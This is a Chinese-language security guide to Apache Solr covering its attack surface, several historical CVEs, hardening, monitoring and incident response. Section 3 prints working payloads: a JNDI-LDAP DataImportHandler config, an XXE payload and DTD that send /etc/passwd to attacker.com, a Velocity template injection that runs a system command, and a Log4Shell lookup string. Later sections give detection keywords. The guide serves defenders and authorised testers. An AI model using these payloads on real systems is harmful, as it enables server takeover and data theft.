
1. 项目概述为什么我们需要关注Apache Solr的漏洞如果你负责过企业级的搜索服务或者维护过任何基于内容检索的应用那么Apache Solr这个名字你一定不陌生。作为一个基于Lucene构建的、功能强大的开源搜索平台Solr因其高性能、可扩展性和丰富的功能集被广泛应用于电商、内容管理、日志分析等众多场景。然而功能强大往往伴随着复杂性的提升而复杂性正是安全漏洞滋生的温床。我处理过不少因Solr配置不当或版本滞后引发的安全事件从数据泄露到服务器被完全接管后果往往比想象中更严重。今天我们就来系统性地梳理一下Apache Solr历史上那些值得警惕的漏洞目的不是制造恐慌而是为了让你在架构设计、日常运维和应急响应时心里能有一张清晰的“风险地图”。这份总结的核心价值在于“实战”。它不仅仅是一份CVE编号列表我会结合我遇到过的真实案例和测试经验带你深入每个关键漏洞的原理核心拆解它的利用条件、攻击路径以及最关键的——如何有效地防御和修复。无论是你正在规划一个新的搜索集群还是在维护一个历史遗留的Solr服务了解这些漏洞都能帮助你避免踩坑构建更稳固的防线。特别是对于开发、运维和安全工程师而言这是一份必须掌握的“生存指南”。2. Solr安全架构与常见攻击面分析在深入具体漏洞之前我们必须先理解Solr的安全模型和常见的暴露面。默认安装的Solr其安全假设是相当宽松的这为后续许多漏洞的利用创造了条件。2.1 默认配置下的“裸奔”状态一个全新解压的Solr在默认配置下几乎是不设防的。它的管理界面Solr Admin UI通常监听在8983端口无需任何认证即可访问。这意味着攻击者如果能够访问到这个端口就可以直接查看所有核心Core的状态、执行查询、甚至修改配置。更危险的是JMXJava Management Extensions服务可能默认启用这又增加了一个潜在的远程代码执行通道。许多初级部署的漏洞根源就在于直接使用了这套默认配置并将其暴露在了公网或内部非信任网络。2.2 核心攻击面剖析Solr的攻击面可以归结为以下几个关键组件理解它们有助于我们系统地评估风险HTTP API接口这是最主要的入口。包括管理API如/solr/admin/cores、/solr/admin/info、搜索API/solr/[core]/select、更新API/solr/[core]/update等。未授权访问、注入攻击如XML实体注入、Velocity模板注入都发生在这里。配置文件和插件solrconfig.xml、schema.xml以及各种自定义的RequestHandler、SearchComponent或UpdateProcessor。攻击者可能通过上传恶意配置、利用配置解析漏洞或插件中的缺陷来实施攻击。数据导入处理器DataImportHandler, DIH这是一个功能强大但风险极高的组件。它允许从数据库、HTTP接口等外部数据源导入数据。其配置支持动态数据源URL这成为了SSRF服务器端请求伪造漏洞的经典发生地。Velocity响应编写器Solr支持使用Velocity模板来渲染查询结果。当允许用户控制模板内容时就可能造成模板注入导致任意代码执行。ZooKeeper集成在SolrCloud模式下配置信息存储在ZooKeeper中。如果ZooKeeper本身缺乏认证或权限控制不当攻击者可以通过篡改ZooKeeper上的配置来影响整个集群。依赖库漏洞Solr构建于庞大的Java生态之上其依赖的第三方库如Apache Commons Collections、Log4j2等的漏洞也会直接影响Solr的安全性。Log4j2的CVE-2021-44228Log4Shell就是最著名的例子影响了无数集成该组件的应用Solr也不例外。注意在评估自身系统风险时一个非常有效的起点就是对照这份攻击面清单检查每个点在你的环境中是否得到了恰当的加固如认证、授权、输入校验、网络隔离等。3. 历史高危漏洞深度解析与复现要点接下来我们聚焦几个具有代表性的高危漏洞。我会解释其原理并说明在安全研究或渗透测试授权范围内进行验证的关键点。请务必注意所有漏洞复现仅应在你自己完全控制的实验环境或获得明确授权的测试中进行。3.1 CVE-2019-0193DataImportHandler远程代码执行这个漏洞是Solr SSRF导致RCE的典型范例影响范围非常广。漏洞原理 DataImportHandler的dataConfig参数允许XML配置。在该配置中可以定义dataSource标签其url属性可以指向一个外部地址。关键在于这个url属性支持JNDI协议如jndi:ldap://attacker.com/Exploit。在Solr的某些版本中当DIH处理这样的配置时会触发JNDI查找。如果Solr运行在具有漏洞版本的Java环境JDK 8u191, 7u201, 6u211, 11.0.1且未设置com.sun.jndi.ldap.object.trustURLCodebase等安全属性为false时就会加载远程的恶意Java类从而导致远程代码执行。复现关键步骤环境准备搭建一个受影响版本的Solr例如8.0.0之前并创建一个启用了DataImportHandler的核心。构造恶意配置通过DIH的调试接口或配置更新接口提交一个包含恶意JNDI数据源的dataConfigXML。dataConfig dataSource typeJdbcDataSource nameds-1 urljndi:ldap://YOUR_LDAP_SERVER:1389/Exploit/ document entity nameentity1 dataSourceds-1 queryselect * from test/ /document /dataConfig启动恶意LDAP服务使用类似marshalsec的工具启动一个恶意的LDAP引用服务器指向托管有恶意Java类的HTTP服务。触发导入执行dataimport命令Solr会尝试连接恶意LDAP服务器并加载执行远程类。实操心得 这个漏洞的利用成功率高度依赖于目标Java版本。在实际渗透测试中如果发现目标使用了较旧的JDK特别是8u191之前且存在未授权的DIH接口这个漏洞就是一把利器。修复方案不仅仅是升级Solr更重要的是升级JDK到安全版本并禁用DIH不必要的功能或进行严格的访问控制。3.2 CVE-2017-12629XML实体注入XXE导致RCE这个漏洞展示了即使是一个看似普通的XML解析功能也可能酿成大祸。漏洞原理 Solr的/update端点用于提交索引数据支持多种格式包括XML。在受影响版本中处理XML更新请求时XML解析器错误地配置为允许解析外部实体。攻击者可以构造一个包含恶意XML外部实体XXE的文档。当Solr解析这个文档时会尝试读取攻击者指定的外部文件如file:///etc/passwd或发起内部网络请求SSRF。在特定条件下结合Solr的RunExecutableListener等特性甚至可以实现远程代码执行。复现关键步骤环境准备搭建一个受影响版本的Solr5.x - 7.1.0并确保/update端点可访问。构造XXE Payload向/solr/[core]/update端点发送一个POST请求内容类型为application/xmlBody中包含XXE payload。?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY % ext SYSTEM http://attacker.com/evil.dtd %ext; %payload; ] add doc field nameid1/field field namecontentexfil;/field /doc /add其中evil.dtd内容为!ENTITY % data SYSTEM file:///etc/passwd !ENTITY % payload !ENTITY #x25; exfil SYSTEM http://attacker.com/exfil?data%data;观察结果攻击者的服务器会收到来自Solr服务器的HTTP请求其中包含了/etc/passwd文件的内容。注意事项 这个漏洞的利用链可能比较复杂特别是要实现RCE。在实际测试中XXE读取文件或进行SSRF是更常见和稳定的利用方式。修复此漏洞需要升级Solr版本并在所有XML解析点显式禁用外部实体解析FEATURE_SECURE_PROCESSING。3.3 CVE-2021-27905Velocity模板注入这个漏洞与Solr的响应输出格式有关影响面较新。漏洞原理 Solr支持使用Velocity模板语言VTL来定制查询响应格式通过velocity.response.writer。在params.resource.loader.enabled设置为true某些版本默认或可通过配置开启的情况下攻击者可以通过HTTP请求参数控制模板的部分内容。由于Velocity模板功能强大可以执行任意Java代码这就导致了模板注入漏洞。攻击者可以构造特殊的查询参数在模板渲染阶段执行系统命令。复现关键步骤环境探测确认目标Solr是否启用了Velocity响应编写器。可以访问类似/solr/[core]/select?wtvelocity的接口观察响应。注入测试尝试通过参数注入VTL语句。一个简单的测试payload是使用#set表达式。/solr/[core]/select?q*:*wtvelocityv.templatecustomv.template.custom%23set($x%27%27)%23set($rt$x.class.forName(%27java.lang.Runtime%27))%23set($chr$x.class.forName(%27java.lang.Character%27))%23set($str$x.class.forName(%27java.lang.String%27))%23set($ex$rt.getRuntime().exec(%27id%27))$ex.waitFor()%23set($out$ex.getInputStream())%23foreach($iin[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end此Payload经过URL编码意图执行id命令并回显结果命令执行如果注入成功响应中会包含命令执行的结果。实操心得 这个漏洞的利用Payload构造需要一定的VTL和Java反射知识。在实际测试中如果发现wtvelocity参数可用就应该立即将其视为一个高危风险点。最根本的修复方法是在生产环境中彻底禁用Velocity响应编写器除非有绝对必要且已实施了严格的安全控制。可以通过在solrconfig.xml中移除或注释掉相关的queryResponseWriter配置来实现。3.4 Log4j2 (CVE-2021-44228) 在Solr中的影响与排查这不是Solr自身的漏洞但其依赖的Log4j2组件漏洞影响极其深远Solr也未能幸免。影响原理 Solr在日志记录中使用了Log4j2库。该库的JNDI查找功能在记录日志消息时会对消息内容进行递归解析。如果日志内容中包含${jndi:ldap://attacker.com/a}这样的模式Log4j2就会尝试向指定的LDAP服务器发起请求并加载恶意类导致RCE。在Solr中任何可以被记录到日志的用户输入都可能成为攻击载体例如查询参数q、HTTP头如X-Forwarded-For、User-Agent、文档索引内容等。紧急排查与修复步骤版本确认立即检查Solr使用的Log4j2版本。受影响版本为2.0-beta9 至 2.14.1不含安全补丁的版本。临时缓解立即可做设置系统属性启动Solr的JVM参数中添加-Dlog4j2.formatMsgNoLookupstrue。这是最快速有效的临时方案。移除漏洞类找到Solr发行版中的log4j-core-*.jar文件移除其中的JndiLookup类zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。彻底修复升级Log4j2依赖至安全版本2.15.0及以上建议使用最新稳定版。对于Solr这意味着需要升级Solr本身到已修复此问题的版本如Solr 8.11.1。同时升级JDK至不受JNDI注入影响的版本8u191, 11.0.1等是纵深防御的关键。入侵排查检查Solr日志文件搜索jndi:、ldap://、rmi://、${等可疑字符串。同时检查服务器是否有异常的外连网络请求特别是到非常用端口的出站连接。4. 漏洞挖掘与安全加固实战指南了解历史漏洞是为了更好地防御。对于运维和开发人员更重要的是建立主动的安全防护体系。4.1 针对Solr的日常安全巡检清单你可以定期对照以下清单进行检查检查项安全要求检查方法风险等级网络暴露Solr管理端口默认8983不应直接暴露于公网。使用netstat -tlnp或检查云安全组/防火墙规则。高危认证授权启用Solr的BasicAuth或Kerberos认证并为不同用户分配最小权限角色。访问/solr/admin/界面看是否提示输入密码。检查security.json配置。高危API访问控制禁用不必要的API端点如/admin/下的/dataimport、/config等。通过solrconfig.xml中的requestDispatcher和requestHandler配置进行限制。中高配置安全solrconfig.xml和schema.xml等配置文件权限应为600且不包含敏感信息如数据库密码。检查文件权限ls -la并人工审计配置文件内容。中插件与组件仅启用必要的插件如DIH, Velocity。禁用或删除测试用、示例用的核心和配置。查看Solr Admin UI的Core列表和Plugins/Stats页面。中高日志审计确保日志记录开启并定期审计关注异常访问模式和错误信息。检查solr.log文件并配置日志聚合分析。中版本与补丁保持Solr及其JDK环境更新到最新稳定版本。使用http://solr-host:8983/solr/admin/info/system查看版本信息。高危依赖库安全定期扫描第三方依赖如Log4j2, Commons等的已知漏洞。使用OWASP Dependency-Check、Trivy等SCA工具。高危4.2 安全配置详解与最佳实践1. 启用认证Basic Authentication 这是最重要的第一步。编辑server/etc目录下的security.json文件如不存在则创建{ authentication: { blockUnknown: true, class: solr.BasicAuthPlugin, credentials: { solr: IV0EHq1OnNrj6gvRCwvFwTrZ1z1oBbnQdiVC3otuq0 Ndd7LKvVBAaZIF0QAVi1ekCfAJXr1GGfLtRUXhgrF8c } }, authorization: { class: solr.RuleBasedAuthorizationPlugin, permissions: [ {name: security-edit, role: admin}, {name: collection-admin-edit, role: admin}, {name: core-admin-edit, role: admin} ], user-role: { solr: admin } } }这里solr用户的密码是SolrRocks经过SHA-256哈希和Base64编码。你需要使用bin/solr auth工具生成自己的凭证。配置后所有API请求都需要在HTTP头中添加Authorization: Basic [base64编码的user:pass]。2. 启用TLS/SSL加密 防止通信被窃听。使用Java KeyTool或Let‘s Encrypt生成证书然后在solr.in.sh或solr.in.cmd中配置SOLR_SSL_KEY_STORE/path/to/solr-ssl.keystore.jks SOLR_SSL_KEY_STORE_PASSWORDsecret SOLR_SSL_TRUST_STORE/path/to/solr-ssl.keystore.jks SOLR_SSL_TRUST_STORE_PASSWORDsecret SOLR_SSL_NEED_CLIENT_AUTHfalse SOLR_SSL_WANT_CLIENT_AUTHfalse3. 严格的请求处理配置 在solrconfig.xml中对关键请求处理器进行限制!-- 禁用或限制DataImportHandler -- requestHandler name/dataimport classsolr.DataImportHandler startuplazy !-- 强烈建议注释掉或删除此配置除非必需 -- /requestHandler !-- 配置UpdateRequestProcessorChain对输入进行过滤 -- updateRequestProcessorChain namestrip-html processor classsolr.LogUpdateProcessorFactory/ processor classsolr.RemoveBlankFieldUpdateProcessorFactory/ processor classsolr.HTMLStripFieldUpdateProcessorFactory !-- 剥离HTML防XSS -- str namestripHTMLtrue/str /processor processor classsolr.RunUpdateProcessorFactory/ /updateRequestProcessorChain4. 操作系统与运行时加固以非root用户运行专门创建一个如solr的用户来运行Solr服务。文件系统权限确保Solr的数据目录、日志目录、配置目录的权限严格受限仅运行用户可写。JVM安全参数在启动脚本中添加安全参数例如禁用JNDI的远程代码加载-Dcom.sun.jndi.ldap.object.trustURLCodebasefalse -Dcom.sun.jndi.rmi.object.trustURLCodebasefalse4.3 漏洞扫描与监控主动扫描使用专业工具定期使用Nessus、Qualys、OpenVAS等漏洞扫描器对Solr服务端口进行扫描。使用专项脚本可以编写或使用像solr-scanner这样的开源工具针对Solr的特定API端点进行未授权访问、路径遍历等常见漏洞的检查。SAST/SCA如果对Solr有自定义开发如插件应将代码纳入静态应用安全测试SAST和软件成分分析SCA流程。监控与告警日志监控集中收集Solr的访问日志和应用日志。设置告警规则例如短时间内大量401或403错误暴力破解。日志中出现jndi:、ldap://、Runtime.exec等异常关键词。来自异常地理位置的访问。进程与网络监控监控Solr Java进程的子进程创建行为如通过exec系统调用。监控服务器是否有异常的外连网络请求特别是到非常用端口的出站连接。5. 应急响应当漏洞被利用或入侵发生时即使防护再严密也需要有应对最坏情况的预案。假设你通过监控告警或外部报告怀疑Solr服务已被入侵应立即按以下步骤操作第一步立即隔离Contain网络隔离在防火墙或负载均衡器层面立即阻断对受影响Solr实例或整个集群的所有外部访问。保留内部管理网络用于取证和恢复。停止服务在不破坏现场证据的前提下考虑停止Solr服务。如果为了取证需要保持现场可以先制作内存镜像使用jmap或gcore然后再停止。sudo systemctl stop solr # 或者使用Solr自带的脚本 sudo -u solr /opt/solr/bin/solr stop -all第二步调查与评估Investigate保存现场对以下内容进行完整的、只读的备份整个Solr安装目录。Solr的数据目录solr.home/data。系统日志/var/log/下的messages、secure等。Solr应用日志server/logs/solr.log。进程列表、网络连接快照ps auxf,netstat -tulpn,lsof -p [PID]。日志分析重点分析隔离前一刻的日志。搜索异常IP、异常API请求特别是/config、/dataimport、/update等管理接口、异常错误栈如ClassNotFoundException指向未知类。文件系统分析检查Solr目录下是否有新增的、可疑的文件如陌生的.jar、.class、脚本文件.sh,.py、Web Shell.jsp,.php。特别注意server/solr-webapp/webapp/目录和lib/目录。配置检查检查solrconfig.xml、security.json等核心配置文件是否被篡改是否被添加了恶意的lib路径、监听器或处理器。第三步根除与恢复Eradicate Recover确定入侵点根据调查结果确定被利用的漏洞如未授权访问、特定RCE漏洞和攻击者植入的后门。彻底清理不推荐直接在受污染的服务器上修复。因为可能有隐藏的后门难以彻底清除。推荐重建。这是最安全的方式。使用干净的基线镜像或安装包在新环境中重新部署Solr。安全加固在新环境中严格实施本章第4.2节的所有安全最佳实践。确保启用强认证授权。升级到已修复所有已知漏洞的最新稳定版Solr和JDK。应用最小权限原则。网络访问控制到位。数据恢复从干净的备份中恢复索引数据。绝对不要使用可能已被篡改或包含恶意负载的现有数据目录。如果没有干净备份需要评估从源头如数据库重新构建索引的可能性。第四步事后总结与改进Post-mortem复盘时间线整理从漏洞存在、被利用、发现到响应的完整时间线。根本原因分析是未及时打补丁是配置错误是缺乏有效的监控找到最根本的管理或技术原因。改进措施制定并实施具体的改进计划例如建立更严格的补丁管理流程。完善安全配置基线并自动化检查。增强日志监控和告警规则。定期进行红蓝对抗演练。处理安全事件的核心原则是快速遏制避免扩大深入分析根除病灶加固重建防止再发。保持冷静按照预案一步步执行能将损失降到最低。